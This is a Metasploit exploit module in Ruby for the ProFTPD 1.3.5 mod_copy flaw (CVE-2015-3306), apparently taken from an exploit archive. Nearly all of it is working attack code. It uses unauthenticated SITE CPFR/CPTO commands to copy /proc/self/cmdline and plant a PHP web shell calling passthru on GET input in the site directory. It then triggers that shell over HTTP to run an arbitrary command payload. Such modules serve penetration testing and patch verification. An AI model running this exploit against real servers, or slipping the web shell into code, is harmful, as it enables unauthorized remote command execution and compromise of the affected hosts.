ProFTPD 1.3.5 Mod_Copy Command Execution

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'ProFTPD 1.3.5 Mod_Copy Command Execution',  
'Description' => %q{  
This module exploits the SITE CPFR/CPTO commands in ProFTPD version 1.3.5.  
Any unauthenticated client can leverage these commands to copy files from any  
part of the filesystem to a chosen destination. The copy commands are executed with  
the rights of the ProFTPD service, which by default runs under the privileges of the  
'nobody' user. By using /proc/self/cmdline to copy a PHP payload to the website  
directory, PHP remote code execution is made possible.  
},  
'Author' =>  
[  
'Vadim Melihow', # Original discovery, Proof of Concept  
'xistence <xistence[at]0x90.nl>' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2015-3306' ],  
[ 'EDB', '36742' ]  
],  
'Privileged' => false,  
'Platform' => [ 'unix' ],  
'Arch' => ARCH_CMD,  
'Payload' =>  
{  
'BadChars' => '',  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic gawk bash python perl'  
}  
},  
'Targets' =>  
[  
[ 'ProFTPD 1.3.5', { } ]  
],  
'DisclosureDate' => 'Apr 22 2015',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptPort.new('RPORT', [true, 'HTTP port', 80]),  
OptPort.new('RPORT_FTP', [true, 'FTP port', 21]),  
OptString.new('TARGETURI', [true, 'Base path to the website', '/']),  
OptString.new('TMPPATH', [true, 'Absolute writable path', '/tmp']),  
OptString.new('SITEPATH', [true, 'Absolute writable website path', '/var/www'])  
], self.class)  
end  
  
def check  
ftp_port = datastore['RPORT_FTP']  
sock = Rex::Socket.create_tcp('PeerHost' => rhost, 'PeerPort' => ftp_port)  
  
if sock.nil?  
fail_with(Failure::Unreachable, "#{rhost}:#{ftp_port} - Failed to connect to FTP server")  
else  
print_status("#{rhost}:#{ftp_port} - Connected to FTP server")  
end  
  
res = sock.get_once(-1, 10)  
unless res && res.include?('220')  
fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure retrieving ProFTPD 220 OK banner")  
end  
  
sock.puts("SITE CPFR /etc/passwd\r\n")  
res = sock.get_once(-1, 10)  
if res && res.include?('350')  
Exploit::CheckCode::Vulnerable  
else  
Exploit::CheckCode::Safe  
end  
end  
  
def exploit  
ftp_port = datastore['RPORT_FTP']  
get_arg = rand_text_alphanumeric(5+rand(3))  
payload_name = rand_text_alphanumeric(5+rand(3)) + '.php'  
  
sock = Rex::Socket.create_tcp('PeerHost' => rhost, 'PeerPort' => ftp_port)  
  
if sock.nil?  
fail_with(Failure::Unreachable, "#{rhost}:#{ftp_port} - Failed to connect to FTP server")  
else  
print_status("#{rhost}:#{ftp_port} - Connected to FTP server")  
end  
  
res = sock.get_once(-1, 10)  
unless res && res.include?('220')  
fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure retrieving ProFTPD 220 OK banner")  
end  
  
print_status("#{rhost}:#{ftp_port} - Sending copy commands to FTP server")  
  
sock.puts("SITE CPFR /proc/self/cmdline\r\n")  
res = sock.get_once(-1, 10)  
unless res && res.include?('350')  
fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying from /proc/self/cmdline")  
end  
  
sock.put("SITE CPTO #{datastore['TMPPATH']}/.<?php passthru($_GET[\'#{get_arg}\']);?>\r\n")  
res = sock.get_once(-1, 10)  
unless res && res.include?('250')  
fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying to temporary payload file")  
end  
  
sock.put("SITE CPFR #{datastore['TMPPATH']}/.<?php passthru($_GET[\'#{get_arg}\']);?>\r\n")  
res = sock.get_once(-1, 10)  
unless res && res.include?('350')  
fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying from temporary payload file")  
end  
  
sock.put("SITE CPTO #{datastore['SITEPATH']}/#{payload_name}\r\n")  
res = sock.get_once(-1, 10)  
unless res && res.include?('250')  
fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying PHP payload to website path, directory not writable?")  
end  
  
sock.close  
  
print_status("#{peer} - Executing PHP payload #{target_uri.path}#{payload_name}")  
res = send_request_cgi!(  
'uri' => normalize_uri(target_uri.path, payload_name),  
'method' => 'GET',  
'vars_get' => { get_arg => "nohup #{payload.encoded} &" }  
)  
  
unless res && res.code == 200  
fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure executing payload")  
end  
end  
  
end  
`